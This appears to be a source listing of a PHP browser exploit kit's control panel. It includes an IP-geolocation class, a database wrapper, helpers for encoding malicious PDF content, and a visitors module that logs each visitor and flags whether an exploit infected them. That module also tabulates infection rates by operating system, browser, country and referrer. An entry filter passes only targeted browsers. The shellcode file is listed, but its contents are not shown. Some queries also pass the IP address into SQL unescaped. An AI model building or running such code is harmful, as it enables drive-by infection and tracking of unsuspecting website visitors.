'.$bin_file); 36 | if (defined('UNIT_TEST')) exit(1); 37 | return; 38 | } 39 | 40 | if ($this->caching) { 41 | $this->initCache($bin_file); 42 | } 43 | 44 | $f = $this->m_file; 45 | if ($this->caching) { 46 | $sig = $this->mem[$this->offset++] 47 | .$this->mem[$this->offset++] 48 | .$this->mem[$this->offset++] 49 | .$this->mem[$this->offset++]; 50 | } 51 | else { 52 | $sig = fread($f, 4); 53 | } 54 | 55 | if ($sig != 'ip2c') 56 | { 57 | trigger_error("file $bin_file has incorrect signature"); 58 | if (defined('UNIT_TEST')) exit(1); 59 | return; 60 | } 61 | $v = $this->readInt(); 62 | if ($v != 2) 63 | { 64 | trigger_error("file $bin_file has incorrect format version ($v)"); 65 | if (defined('UNIT_TEST')) exit(1); 66 | return; 67 | } 68 | 69 | $this->m_firstTableOffset = $this->readInt(); 70 | $this->m_numRangesFirstTable = $this->readInt(); 71 | $this->m_secondTableOffset = $this->readInt(); 72 | $this->m_numRangesSecondTable = $this->readInt(); 73 | $this->m_countriesOffset = $this->readInt(); 74 | $this->m_numCountries = $this->readInt(); 75 | $this->m_active = true; 76 | } 77 | 78 | function initCache($fileName) { 79 | $this->offset = 0; 80 | $fp = fopen($fileName, "rb"); 81 | $this->mem = fread($fp, filesize($fileName)); 82 | if ($this->mem === FALSE) 83 | $this->caching = FALSE; 84 | fclose($fp); 85 | } 86 | 87 | function get_country($ip) 88 | { 89 | if (!$this->m_active) return false; 90 | 91 | $int_ip = ip2long($ip); 92 | 93 | // happens on 64bit systems 94 | if ($int_ip > IP2C_MAX_INT) 95 | { 96 | // shift to signed int32 value 97 | $int_ip -= IP2C_MAX_INT; 98 | $int_ip -= IP2C_MAX_INT; 99 | $int_ip -= 2; 100 | } 101 | 102 | if ($int_ip >= 0) 103 | { 104 | $key = $this->find_country_code($int_ip, 0, $this->m_numRangesFirstTable, true); 105 | } 106 | else 107 | { 108 | $nip = (int)($int_ip + IP2C_MAX_INT + 2); // the + 2 is a bit wierd, but required. 109 | $key = $this->find_country_code($nip, 0, $this->m_numRangesSecondTable, false); 110 | } 111 | if ($key == false || $key == 0) 112 | { 113 | return false; 114 | } 115 | else 116 | { 117 | return $this->find_country_key($key,0, $this->m_numCountries); 118 | } 119 | } 120 | 121 | function find_country_code($ip, $startIndex, $endIndex, $firstTable, $d = 0) 122 | { 123 | while(1) { 124 | $middle = (int)(($startIndex + $endIndex) / 2); 125 | $mp = $this->getPair($middle, $firstTable); 126 | $mip = $mp['ip']; 127 | //echo "#$d find_country_code : [code=$ip, start=$startIndex, middle=$middle, end=$endIndex, mip=$mip]
"; 128 | 129 | if ($ip < $mip) 130 | { 131 | if ($startIndex + 1 == $endIndex) return false; // not found 132 | $endIndex = $middle; 133 | continue; 134 | //return $this->find_country_code($ip, $startIndex, $middle, $firstTable, ++$d); 135 | } 136 | else 137 | if ($ip > $mip) 138 | { 139 | $np = $this->getPair($middle+1, $firstTable); 140 | if ($ip < $np['ip']) 141 | { 142 | return $mp['key']; 143 | } 144 | else 145 | { 146 | if ($startIndex + 1 == $endIndex) return false; // not found 147 | $startIndex = $middle; 148 | continue; 149 | //return $this->find_country_code($ip, $middle, $endIndex, $firstTable, ++$d); 150 | } 151 | } 152 | else // ip == mip 153 | { 154 | return $mp['key']; 155 | } 156 | } 157 | } 158 | 159 | function find_country($code) 160 | { 161 | if (!$this->m_active) return false; 162 | $c = strtoupper($code); 163 | $c1 = $c[0]; 164 | $c2 = $c[1]; 165 | $key = ord($c1) * 256 + ord($c2); 166 | return $this->find_country_key($key, 0, $this->m_numCountries); 167 | } 168 | 169 | 170 | function find_country_key($code, $startIndex, $endIndex) 171 | { 172 | $d = 0; 173 | while(1) { 174 | if ($d > 20) 175 | { 176 | trigger_error("IP2Country : Internal error - endless loop detected, code = $code"); 177 | return false; 178 | } 179 | 180 | $d++; 181 | $middle = (int)(($startIndex + $endIndex) / 2); 182 | $mc = $this->get_country_code($middle); 183 | //echo "#$d find_country : [$startIndex, $endIndex, mc=$mc, code=$code]
"; 184 | 185 | if ($mc == $code) 186 | { 187 | // found. 188 | return $this->load_country($middle); 189 | } 190 | else 191 | if ($code > $mc) 192 | { 193 | if ($middle + 1 == $endIndex) 194 | { 195 | $nc = $this->get_country_code($middle); 196 | if ($nc == $code) return $this->load_country($middle); 197 | else return false; 198 | } 199 | $startIndex = $middle; 200 | continue; 201 | //return $this->find_country_key($code, $middle, $endIndex, ++$d); 202 | } 203 | else // $code < $mc 204 | { 205 | if ($startIndex + 1 == $middle) 206 | { 207 | $nc = $this->get_country_code($startIndex); 208 | if ($nc == $code) return $this->load_country($startIndex); 209 | else return false; 210 | } 211 | $endIndex = $middle; 212 | continue; 213 | //return $this->find_country_key($code, $startIndex, $middle, ++$d); 214 | } 215 | } 216 | } 217 | 218 | 219 | function load_country($index) 220 | { 221 | $offset = $this->m_countriesOffset + $index * 10; 222 | 223 | if ($this->caching) 224 | { 225 | $this->offset = $offset; 226 | } 227 | else 228 | fseek($this->m_file, $offset); 229 | 230 | $id2c = $this->readCountryKey(); 231 | $id3c = $this->read3cCode(); 232 | $nameOffset = $this->readInt(); 233 | 234 | if ($this->caching) 235 | { 236 | $this->offset = $nameOffset; 237 | } 238 | else 239 | fseek($this->m_file, $nameOffset); 240 | 241 | $len = $this->readShort(); 242 | $name = ''; 243 | if ($len != 0) 244 | { 245 | if ($this->caching) 246 | { 247 | for($i = 0;$i<$len;$i++) 248 | { 249 | $name.=$this->mem[$this->offset++]; 250 | } 251 | } 252 | else 253 | $name = fread($this->m_file, $len); 254 | } 255 | return array("id2"=>$id2c,"id3"=>$id3c,"name"=>$name); 256 | } 257 | 258 | function get_country_code($index) 259 | { 260 | $offset = $this->m_countriesOffset + $index * 10; 261 | 262 | if ($this->caching) 263 | { 264 | $this->offset = $offset; 265 | $a = unpack('n', $this->mem[$this->offset++] 266 | .$this->mem[$this->offset++]); 267 | } 268 | else { 269 | fseek($this->m_file, $offset); 270 | $a = unpack('n', fread($this->m_file, 2)); 271 | } 272 | 273 | return $a[1]; 274 | } 275 | 276 | 277 | 278 | function getPair($index, $firstTable) 279 | { 280 | $offset = 0; 281 | if ($firstTable) 282 | { 283 | if ($index > $this->m_numRangesFirstTable) 284 | { 285 | return array('key'=>false,'ip'=>0); 286 | } 287 | $offset = $this->m_firstTableOffset + $index * 6; 288 | } 289 | else 290 | { 291 | if ($index > $this->m_numRangesSecondTable) 292 | { 293 | return array('key'=>false,'ip'=>0); 294 | } 295 | $offset = $this->m_secondTableOffset + $index * 6; 296 | 297 | } 298 | 299 | if ($this->caching) 300 | { 301 | $this->offset = $offset; 302 | $p = unpack('Nip/nkey', $this->mem[$this->offset++] 303 | .$this->mem[$this->offset++] 304 | .$this->mem[$this->offset++] 305 | .$this->mem[$this->offset++] 306 | .$this->mem[$this->offset++] 307 | .$this->mem[$this->offset++]); 308 | } 309 | else 310 | { 311 | fseek($this->m_file, $offset); 312 | $p =unpack('Nip/nkey', fread($this->m_file, 6)); 313 | } 314 | 315 | return $p; 316 | 317 | } 318 | 319 | function readShort() 320 | { 321 | if ($this->caching) 322 | { 323 | $a = unpack('n', $this->mem[$this->offset++] 324 | .$this->mem[$this->offset++]); 325 | } 326 | else 327 | $a = unpack('n', fread($this->m_file, 2)); 328 | 329 | return $a[1]; 330 | } 331 | 332 | function read3cCode() 333 | { 334 | if ($this->caching) 335 | { 336 | $this->offset++; 337 | $d = $this->mem[$this->offset++] 338 | .$this->mem[$this->offset++] 339 | .$this->mem[$this->offset++]; 340 | } 341 | else 342 | { 343 | fread($this->m_file, 1); 344 | $d = fread($this->m_file, 3); 345 | } 346 | 347 | return $d != ' ' ? $d : ''; 348 | } 349 | 350 | function readCountryKey() 351 | { 352 | if ($this->caching) 353 | { 354 | return $this->mem[$this->offset++].$this->mem[$this->offset++]; 355 | } 356 | else 357 | { 358 | return fread($this->m_file, 2); 359 | } 360 | } 361 | 362 | function readInt() 363 | { 364 | if ($this->caching) 365 | { 366 | $a = unpack('N', $this->mem[$this->offset++] 367 | .$this->mem[$this->offset++] 368 | .$this->mem[$this->offset++] 369 | .$this->mem[$this->offset++]); 370 | } 371 | else 372 | $a =unpack('N', fread($this->m_file, 4)); 373 | 374 | return $a[1]; 375 | } 376 | } 377 | ?> 378 | -------------------------------------------------------------------------------- /include/shellcode.php: -------------------------------------------------------------------------------- 1 | 117 | -------------------------------------------------------------------------------- /include/sql.php: -------------------------------------------------------------------------------- 1 | sqlSettings =& $GLOBALS['sqlSettings']; 24 | $opened = false; 25 | } 26 | 27 | function open() { 28 | if(!function_exists("mysql_connect")) return false; 29 | 30 | $this->link = mysql_connect($this->sqlSettings['dbHost'], $this->sqlSettings['dbUsername'], $this->sqlSettings['dbPassword']) or die("Error: Cannot connect to the database."); 31 | 32 | mysql_select_db($this->sqlSettings['dbName']) or die("Error: Cannot connect to " . $this->sqlSettings['dbName'] . "."); 33 | 34 | $opened = true; 35 | 36 | return $opened; 37 | } 38 | 39 | function close() { 40 | if(!function_exists("mysql_close")) return false; 41 | 42 | mysql_close($this->link); 43 | 44 | $opened = false; 45 | 46 | return $opened; 47 | } 48 | } 49 | 50 | class CQuery { 51 | function query($query) { 52 | $this->theQuery = $query; 53 | 54 | if(!function_exists("mysql_query")) return false; 55 | return mysql_query($query); 56 | } 57 | 58 | function fetcharray($result) { 59 | if(!function_exists("mysql_fetch_array")) return false; 60 | return mysql_fetch_array($result); 61 | } 62 | 63 | function fetchrow($result) { 64 | if(!function_exists("mysql_fetch_row")) return false; 65 | return mysql_fetch_row($result); 66 | } 67 | 68 | function fetchassoc($result) { 69 | if(!function_exists("mysql_fetch_assoc")) return false; 70 | return mysql_fetch_assoc($result); 71 | } 72 | 73 | function numrows($result) { 74 | if(!function_exists("mysql_num_rows")) return false; 75 | return mysql_num_rows($result); 76 | } 77 | 78 | function freeresult($result) { 79 | if(!function_exists("mysql_free_result")) return false; 80 | return mysql_free_result($result); 81 | } 82 | } 83 | ?> 84 | -------------------------------------------------------------------------------- /include/util.php: -------------------------------------------------------------------------------- 1 | "; 17 | } 18 | function pdf_FlateEncode($string){ 19 | return gzcompress($string); 20 | } 21 | function pdf_ASCII85Encode($string){ 22 | $ascii85 = new ASCII85(); 23 | return $ascii85->encode($string); 24 | } 25 | function RandomNonASCIIString($count){ 26 | $result = ""; 27 | for($i = 0; $i < $count; $i++){ 28 | $result = $result . chr(rand(128, 255)); 29 | } 30 | return $result; 31 | } 32 | 33 | function ioDef($id){ 34 | return $id . " 0 obj\r\n"; 35 | } 36 | 37 | function ioRef($id){ 38 | return $id . " 0 R"; 39 | } 40 | 41 | 42 | ?> 43 | -------------------------------------------------------------------------------- /include/visitors.php: -------------------------------------------------------------------------------- 1 | 'Win16', 12 | 'Windows 95' => '(Windows 95)|(Win95)|(Windows_95)', 13 | 'Windows 98' => '(Windows 98)|(Win98)', 14 | 'Windows 2000' => '(Windows NT 5.0)|(Windows 2000)', 15 | 'Windows XP' => '(Windows NT 5.1)|(Windows XP)', 16 | 'Windows Server 2003' => '(Windows NT 5.2)', 17 | 'Windows Vista' => '(Windows NT 6.0)', 18 | 'Windows 7' => '(Windows NT 7.0)|(Windows NT 6.1)', 19 | 'Windows NT 4.0' => '(Windows NT 4.0)|(WinNT4.0)|(WinNT)|(Windows NT)', 20 | 'Windows ME' => 'Windows ME', 21 | 'Open BSD' => 'OpenBSD', 22 | 'Sun OS' => 'SunOS', 23 | 'Linux' => '(Linux)|(X11)', 24 | 'Mac OS' => '(Mac_PowerPC)|(Macintosh)', 25 | 'QNX' => 'QNX', 26 | 'BeOS' => 'BeOS', 27 | 'OS/2' => 'OS/2', 28 | 'Search Bot'=>'(nuhk)|(Googlebot)|(Yammybot)|(Openbot)|(Slurp)|(MSNBot)|(Ask Jeeves/Teoma)|(ia_archiver)' 29 | ); 30 | 31 | var $BrowserList = array 32 | ( 33 | 'Internet Explorer' => 'msie', 34 | 'Mozilla Firefox' => 'firefox', 35 | 'Google Chrome' => 'chrome', 36 | 'Apple Safari' => 'safari', 37 | 'Opera' => 'opera' 38 | 39 | ); 40 | 41 | function CVisitors(&$_sql, &$_sqlSettings) { 42 | $this->sql = &$_sql; 43 | $this->sqlSettings = &$_sqlSettings; 44 | } 45 | 46 | 47 | function getIpAddr() 48 | { 49 | $ip = $_SERVER['REMOTE_ADDR']; 50 | return $ip; 51 | } 52 | 53 | function getIpAddrCountry($ipAddress) 54 | { 55 | $ip2c = new ip2country("include/ip-to-country.bin"); 56 | $res = $ip2c->get_country($ipAddress); 57 | if ($res == false){ 58 | return "Unknown"; 59 | }else{ 60 | $country = $res['name']; 61 | if($country == ""){ 62 | $country = "Unknown"; 63 | } 64 | return $country ; 65 | } 66 | } 67 | 68 | function checkVisitor($userAgent, $ipAddress, $country) 69 | { 70 | 71 | $cq = new CQuery(); 72 | 73 | $sql_result = mysql_query("SELECT 1 FROM " . $this->sqlSettings['tableVisitorsList'] . " LIMIT 0"); 74 | if (!$sql_result) 75 | { 76 | echo "Error: Database table doesn't exist. Run install.php from the directory."; 77 | return; 78 | } 79 | 80 | $cq = new CQuery(); 81 | 82 | $sql_result = mysql_query('SELECT ipAddress FROM ' . $this->sqlSettings['tableVisitorsList'] . ' WHERE ipAddress = \'' . $ipAddress . '\''); 83 | $sql_rows = $cq->fetcharray($sql_result); 84 | mysql_free_result($sql_result); 85 | 86 | if($sql_rows) { 87 | if($this->getIfVisitorExploitedByIp($ipAddress) == 1) 88 | { 89 | return true; 90 | } else { 91 | return false; 92 | } 93 | } else { 94 | $this->addUniqueVisitor($userAgent, $ipAddress, $country); 95 | return false; 96 | } 97 | } 98 | 99 | function getIfVisitorExploitedByIp($ipAddress) 100 | { 101 | $cq = new CQuery(); 102 | $sql_result = $cq->query('SELECT * FROM ' . $this->sqlSettings['tableVisitorsList'] . ' WHERE ipAddress = \'' . $ipAddress . '\''); 103 | $row = $cq->fetchassoc($sql_result); 104 | mysql_free_result($sql_result); 105 | return $row['exploited']; 106 | } 107 | 108 | function setVisitorExploited($ipAddress, $exploit) 109 | { 110 | $cq = new CQuery(); 111 | $string = 'UPDATE ' . $this->sqlSettings['tableVisitorsList'] . ' set exploited=1, exploit="' . mysql_real_escape_string($exploit) . '" WHERE ipAddress = "' . $ipAddress . '";'; 112 | $sql_result = $cq->query($string); 113 | return; 114 | } 115 | 116 | function clearVisitors() 117 | { 118 | $cq = new CQuery(); 119 | $sql_result = $cq->query('delete from ' . $this->sqlSettings['tableVisitorsList']); 120 | return; 121 | } 122 | 123 | function addUniqueVisitor($userAgent, $ipAddress, $country) 124 | { 125 | 126 | $referrer = $_GET["referrer"]; 127 | if(!isset($referrer) || $referrer==""){ 128 | $referrer = getenv('HTTP_REFERER'); 129 | } 130 | 131 | $referrer = htmlentities($referrer); 132 | 133 | $cq = new CQuery(); 134 | $query = "INSERT INTO `" . $this->sqlSettings['dbName'] . "`.`" . $this->sqlSettings['tableVisitorsList'] . "` ( 135 | `id` , 136 | `ipAddress` , 137 | `userAgent` , 138 | `country` , 139 | `referrer`, 140 | `exploited` 141 | ) 142 | VALUES ( 143 | NULL , '" . mysql_real_escape_string($ipAddress) . "', '" . mysql_real_escape_string($userAgent) . "', '" . mysql_real_escape_string($country) . "', '" . mysql_real_escape_string($referrer) . "', '0' 144 | );"; 145 | $sql_result = $cq->query($query); 146 | } 147 | 148 | function getUniqueVisitorsCount() 149 | { 150 | $cq = new CQuery(); 151 | $sql_result = $cq->query("SELECT * FROM " . $this->sqlSettings['tableVisitorsList']); 152 | $visitorsCount = $cq->numrows($sql_result); 153 | return $visitorsCount; 154 | } 155 | 156 | function getVisitorsExploitedCount() 157 | { 158 | $cq = new CQuery(); 159 | $sql_result = mysql_query('SELECT * FROM ' . $this->sqlSettings['tableVisitorsList'] . ' WHERE exploited = \'1\''); 160 | $exploitedVisitorsCount = $cq->numrows($sql_result); 161 | return $exploitedVisitorsCount; 162 | } 163 | 164 | function showExploitsTable() 165 | { 166 | $cq = new CQuery(); 167 | $sql_result = mysql_query('SELECT * FROM `' . $this->sqlSettings['tableVisitorsList'] . "`"); 168 | $exploitStack = array(); 169 | while($row = $cq->fetchassoc($sql_result)) 170 | { 171 | if($row['exploit']) 172 | $exploitStack[$row['exploit']] = $exploitStack[$row['exploit']] + 1; 173 | } 174 | echo(" 175 | 176 | 177 | 178 | 179 | 180 | "); 181 | $countVisitors = $this->getUniqueVisitorsCount(); 182 | foreach($exploitStack as $cKey=>$cValue) { 183 | 184 | if($cValue) 185 | { 186 | if($countVisitors == 0 || $cValue == 0){ 187 | $exploitedPercentage = 0; 188 | }else{ 189 | $exploitedPercentage = round($cValue * 100 / $countVisitors, 2); 190 | } 191 | echo(""); 192 | echo("" . ""); 193 | echo(""); 194 | } 195 | } 196 | echo("
Exploit#%
" . $cKey . "" . $cValue . "" . $exploitedPercentage . "%
"); 197 | } 198 | 199 | function showOSInformation() 200 | { 201 | $cq = new CQuery(); 202 | $sql_result = mysql_query('SELECT * FROM `' . $this->sqlSettings['tableVisitorsList'] . "`"); 203 | $OSStack = array("Unknown" => 0); 204 | $OSExploitedStack = array("Unknown" => 0); 205 | $identifiedOSCount = 0; 206 | while($row = $cq->fetchassoc($sql_result)) 207 | { 208 | foreach($this->OSList as $CurrOS=>$Match) 209 | { 210 | if (eregi($Match, $row['userAgent'])) 211 | { 212 | if($this->getIfKeyExistsInArray($CurrOS, $OSStack)) 213 | { 214 | $OSStack[$CurrOS] = $OSStack[$CurrOS] + 1; 215 | if($row['exploited']) 216 | $OSExploitedStack[$CurrOS] = $OSExploitedStack[$CurrOS] + 1; 217 | } 218 | else 219 | { 220 | array_push($OSStack, array($CurrOS => 0)); 221 | array_push($OSExploitedStack, array($CurrOS => 0)); 222 | if($row['exploited']) 223 | $OSExploitedStack[$CurrOS] = $OSExploitedStack[$CurrOS] + 1; 224 | $OSStack[$CurrOS] = $OSStack[$CurrOS] + 1; 225 | } 226 | $identifiedOSCount = $identifiedOSCount + 1; 227 | break; 228 | } 229 | } 230 | } 231 | $OSStack["Unknown"] = $this->getUniqueVisitorsCount() - $identifiedOSCount; 232 | arsort($OSStack); 233 | echo(" 234 | 235 | 236 | 237 | 238 | 239 | 240 | "); 241 | $nOSStack = array(); 242 | $nOSStackCount = array(); 243 | foreach($OSStack as $cKey=>$cValue) { 244 | if($cValue) 245 | { 246 | if($cValue == 0 || $OSExploitedStack[$cKey] == 0){ 247 | $OSExploitedStack[$cKey] = 0; 248 | $exploitedPercentage = 0; 249 | }else{ 250 | $exploitedPercentage = round($OSExploitedStack[$cKey] * 100 / $cValue, 2); 251 | } 252 | array_push($nOSStack, $cKey); 253 | array_push($nOSStackCount, $cValue); 254 | echo(""); 255 | echo("" . "" . ""); 256 | } 257 | } 258 | echo("
Operating SystemTotalExploited%
" . $cKey . "". $cValue . "". $OSExploitedStack[$cKey] . "" . $exploitedPercentage . "%
"); 259 | 260 | } 261 | 262 | function showBrowserInformation() 263 | { 264 | $cq = new CQuery(); 265 | $sql_result = mysql_query('SELECT * FROM `' . $this->sqlSettings['tableVisitorsList'] . "`"); 266 | $OSStack = array("Unknown" => 0); 267 | $OSExploitedStack = array("Unknown" => 0); 268 | $identifiedOSCount = 0; 269 | while($row = $cq->fetchassoc($sql_result)) 270 | { 271 | foreach($this->BrowserList as $CurrOS=>$Match) 272 | { 273 | if (eregi($Match, $row['userAgent'])) 274 | { 275 | if($this->getIfKeyExistsInArray($CurrOS, $OSStack)) 276 | { 277 | $OSStack[$CurrOS] = $OSStack[$CurrOS] + 1; 278 | if($row['exploited']) 279 | $OSExploitedStack[$CurrOS] = $OSExploitedStack[$CurrOS] + 1; 280 | } 281 | else 282 | { 283 | array_push($OSStack, array($CurrOS => 0)); 284 | array_push($OSExploitedStack, array($CurrOS => 0)); 285 | if($row['exploited']) 286 | $OSExploitedStack[$CurrOS] = $OSExploitedStack[$CurrOS] + 1; 287 | $OSStack[$CurrOS] = $OSStack[$CurrOS] + 1; 288 | } 289 | $identifiedOSCount = $identifiedOSCount + 1; 290 | break; 291 | } 292 | } 293 | } 294 | $OSStack["Unknown"] = $this->getUniqueVisitorsCount() - $identifiedOSCount; 295 | arsort($OSStack); 296 | echo(" 297 | 298 | 299 | 300 | 301 | 302 | 303 | "); 304 | $nOSStack = array(); 305 | $nOSStackCount = array(); 306 | foreach($OSStack as $cKey=>$cValue) { 307 | if($cValue) 308 | { 309 | if($cValue == 0 || $OSExploitedStack[$cKey] == 0){ 310 | $OSExploitedStack[$cKey] = 0; 311 | $exploitedPercentage = 0; 312 | }else{ 313 | $exploitedPercentage = round($OSExploitedStack[$cKey] * 100 / $cValue, 2); 314 | } 315 | array_push($nOSStack, $cKey); 316 | array_push($nOSStackCount, $cValue); 317 | echo(""); 318 | echo("" . "" . ""); 319 | } 320 | } 321 | echo("
BrowserTotalExploited%
" . $cKey . "". $cValue . "". $OSExploitedStack[$cKey] . "" . $exploitedPercentage . "%
"); 322 | 323 | } 324 | 325 | function getIfKeyExistsInArray($key, $array) 326 | { 327 | foreach($array as $tkey=>$value) 328 | { 329 | if($tkey = $key) 330 | { 331 | return true; 332 | } 333 | } 334 | return false; 335 | } 336 | 337 | function showVisitorsCountryTop() 338 | { 339 | $cq = new CQuery(); 340 | $sql_result = mysql_query('SELECT * FROM `' . $this->sqlSettings['tableVisitorsList'] . "`"); 341 | $countryStack = array(); 342 | $countryStackCount = array(); 343 | $countryStackExploitedCount = array(); 344 | while($row = $cq->fetchassoc($sql_result)) 345 | { 346 | if($this->getElementExistsInArray($row['country'],$countryStack)) 347 | { 348 | $countryIndex = $this->getElementIndexInArray($row['country'], $countryStack); 349 | $countryStackCount[$countryIndex] = $countryStackCount[$countryIndex] + 1; 350 | if($row['exploited']) 351 | { 352 | $countryStackExploitedCount[$countryIndex] = $countryStackExploitedCount[$countryIndex] + 1; 353 | } 354 | } 355 | else 356 | { 357 | array_push($countryStack, $row['country']); 358 | array_push($countryStackCount, 1); 359 | if($row['exploited']) 360 | { 361 | array_push($countryStackExploitedCount, 1); 362 | } 363 | else 364 | { 365 | array_push($countryStackExploitedCount, 0); 366 | } 367 | } 368 | } 369 | 370 | arsort($countryStackCount); 371 | 372 | $this->sortArrayByArray($countryStack, $countryStackCount); 373 | $display = 5; 374 | $displayCount = 0; 375 | $otherCountriesCount = 0; 376 | $otherCountriesVisitorsCount = 0; 377 | $otherCountriesExploitedCount = 0; 378 | $nCountryStack = array(); 379 | $nCountryStackCount = array(); 380 | $nCountryStackExploitedCount = array(); 381 | $nCountryStackExploitedCountries = array(); 382 | $row = $countryStackCount; 383 | 384 | echo( 385 | " 386 | 387 | 388 | 389 | 390 | 391 | " 392 | ); 393 | 394 | foreach($row as $countryCount){ 395 | $kindex = key($row); 396 | if($displayCount == $display) 397 | { 398 | $otherCountriesVisitorsCount = $otherCountriesVisitorsCount + $countryCount; 399 | $otherCountriesCount = $otherCountriesCount + 1; 400 | $otherCountriesExploitedCount = $otherCountriesExploitedCount + $countryStackExploitedCount[$kindex]; 401 | } 402 | else 403 | { 404 | $tempPorcentage = $countryStackExploitedCount[$kindex] * 100 / $countryCount; 405 | echo(" 406 | 407 | 408 | 409 | 410 | 411 | " 412 | ); 413 | array_push($nCountryStack, $countryStack[$kindex]); 414 | array_push($nCountryStackCount, $countryCount); 415 | 416 | if($countryStackExploitedCount[$kindex]) 417 | { 418 | array_push($nCountryStackExploitedCount, $countryStackExploitedCount[$kindex]); 419 | array_push($nCountryStackExploitedCountries, $countryStack[$kindex]); 420 | } 421 | 422 | $displayCount = $displayCount + 1; 423 | } 424 | next($row); 425 | } 426 | 427 | if($otherCountriesVisitorsCount) 428 | { 429 | array_push($nCountryStack, "Others"); 430 | array_push($nCountryStackCount, $otherCountriesVisitorsCount); 431 | array_push($nCountryStackExploitedCountries, "Others"); 432 | array_push($nCountryStackExploitedCount, $otherCountriesExploitedCount); 433 | } 434 | 435 | if($otherCountriesVisitorsCount != 0) 436 | { 437 | $tempPorcentage = $otherCountriesExploitedCount * 100 / $otherCountriesVisitorsCount; 438 | echo(" 439 | 440 | 441 | 442 | 443 | 444 | " 445 | ); 446 | } 447 | echo("
CountryTotalExploited%
{$countryStack[$kindex]}{$countryCount}{$countryStackExploitedCount[$kindex]}" . round($tempPorcentage, 2) . "%
Other{$otherCountriesVisitorsCount}{$otherCountriesExploitedCount}" . round($tempPorcentage, 2) . "%
"); 448 | 449 | 450 | } 451 | 452 | function showVisitorsReferrerTop() 453 | { 454 | $cq = new CQuery(); 455 | $sql_result = mysql_query('SELECT * FROM `' . $this->sqlSettings['tableVisitorsList'] . "`"); 456 | $countryStack = array(); 457 | $countryStackCount = array(); 458 | $countryStackExploitedCount = array(); 459 | while($row = $cq->fetchassoc($sql_result)) 460 | { 461 | if($row['referrer']=="") continue; 462 | if($this->getElementExistsInArray($row['referrer'],$countryStack)) 463 | { 464 | $countryIndex = $this->getElementIndexInArray($row['referrer'], $countryStack); 465 | $countryStackCount[$countryIndex] = $countryStackCount[$countryIndex] + 1; 466 | if($row['exploited']) 467 | { 468 | $countryStackExploitedCount[$countryIndex] = $countryStackExploitedCount[$countryIndex] + 1; 469 | } 470 | } 471 | else 472 | { 473 | array_push($countryStack, $row['referrer']); 474 | array_push($countryStackCount, 1); 475 | if($row['exploited']) 476 | { 477 | array_push($countryStackExploitedCount, 1); 478 | } 479 | else 480 | { 481 | array_push($countryStackExploitedCount, 0); 482 | } 483 | } 484 | } 485 | 486 | arsort($countryStackCount); 487 | 488 | $this->sortArrayByArray($countryStack, $countryStackCount); 489 | $display = 5; 490 | $displayCount = 0; 491 | $otherCountriesCount = 0; 492 | $otherCountriesVisitorsCount = 0; 493 | $otherCountriesExploitedCount = 0; 494 | $nCountryStack = array(); 495 | $nCountryStackCount = array(); 496 | $nCountryStackExploitedCount = array(); 497 | $nCountryStackExploitedCountries = array(); 498 | $row = $countryStackCount; 499 | 500 | echo( 501 | " 502 | 503 | 504 | 505 | 506 | 507 | " 508 | ); 509 | 510 | foreach($row as $countryCount){ 511 | $kindex = key($row); 512 | if($displayCount == $display) 513 | { 514 | $otherCountriesVisitorsCount = $otherCountriesVisitorsCount + $countryCount; 515 | $otherCountriesCount = $otherCountriesCount + 1; 516 | $otherCountriesExploitedCount = $otherCountriesExploitedCount + $countryStackExploitedCount[$kindex]; 517 | } 518 | else 519 | { 520 | $tempPorcentage = $countryStackExploitedCount[$kindex] * 100 / $countryCount; 521 | echo(" 522 | 523 | 524 | 525 | 526 | 527 | " 528 | ); 529 | array_push($nCountryStack, $countryStack[$kindex]); 530 | array_push($nCountryStackCount, $countryCount); 531 | 532 | if($countryStackExploitedCount[$kindex]) 533 | { 534 | array_push($nCountryStackExploitedCount, $countryStackExploitedCount[$kindex]); 535 | array_push($nCountryStackExploitedCountries, $countryStack[$kindex]); 536 | } 537 | 538 | $displayCount = $displayCount + 1; 539 | } 540 | next($row); 541 | } 542 | 543 | if($otherCountriesVisitorsCount) 544 | { 545 | array_push($nCountryStack, "Others"); 546 | array_push($nCountryStackCount, $otherCountriesVisitorsCount); 547 | array_push($nCountryStackExploitedCountries, "Others"); 548 | array_push($nCountryStackExploitedCount, $otherCountriesExploitedCount); 549 | } 550 | 551 | if($otherCountriesVisitorsCount != 0) 552 | { 553 | $tempPorcentage = $otherCountriesExploitedCount * 100 / $otherCountriesVisitorsCount; 554 | echo(" 555 | 556 | 557 | 558 | 559 | 560 | " 561 | ); 562 | } 563 | echo("
ReffererTotalExploited%
{$countryStack[$kindex]}{$countryCount}{$countryStackExploitedCount[$kindex]}" . round($tempPorcentage, 2) . "%
Other{$otherCountriesVisitorsCount}{$otherCountriesExploitedCount}" . round($tempPorcentage, 2) . "%
"); 564 | 565 | 566 | } 567 | 568 | function sortArrayByArray($array,$orderArray) { 569 | $ordered = array(); 570 | foreach($orderArray as $key) { 571 | if(array_key_exists($key,$array)) { 572 | $ordered[$key] = $array[$key]; 573 | unset($array[$key]); 574 | } 575 | } 576 | return $ordered + $array; 577 | } 578 | 579 | function getElementExistsInArray($element, $array) 580 | { 581 | for($i = 0; $i < count($array); $i++) 582 | { 583 | if(strcasecmp($array[$i], $element)==0) 584 | { 585 | return true; 586 | } 587 | } 588 | return false; 589 | } 590 | 591 | function getElementIndexInArray($element, $array) 592 | { 593 | for($i = 0; $i < count($array); $i++) 594 | { 595 | if(strcasecmp($array[$i], $element)==0) 596 | { 597 | return $i; 598 | } 599 | } 600 | return false; 601 | } 602 | 603 | function showVisitorsList() 604 | { 605 | $cq = new CQuery(); 606 | $sql_result = $cq->query("SELECT * FROM `" . $this->sqlSettings['tableVisitorsList'] . "`"); 607 | echo << 609 | 610 | Id 611 | Ip Address 612 | Country 613 | Exploited 614 | 615 | HTML; 616 | while($row = $cq->fetchassoc($sql_result)) { 617 | $sql_result2 = $cq->query("SELECT * FROM `" . $this->sqlSettings['dbVisitorsExploits'] . "` WHERE visitor_id ='" .mysql_real_escape_string($row['id']) . "'"); 618 | echo(""); 619 | echo("" . $row['id'] . ""); 620 | echo("" . $row['ipAddress'] . ""); 621 | echo(""); 622 | echo($row['country'] . ""); 623 | echo(""); 624 | if($row['exploited']) 625 | { 626 | echo("YES"); 627 | } else { 628 | echo("NO"); 629 | } 630 | echo(""); 631 | echo(""); 632 | } 633 | echo(""); 634 | } 635 | } 636 | ?> 637 | -------------------------------------------------------------------------------- /index.php: -------------------------------------------------------------------------------- 1 | identification(); 10 | 11 | if(($data['browser'] != "FIREFOX" && $data['browser'] != "CHROME" && $data['browser'] != "SAFARI" && $data['browser'] != "OPERA" && $data['browser'] != "MSIE") || $data['platform'] == "OTHER"){ 12 | exit(); 13 | } 14 | 15 | ?> 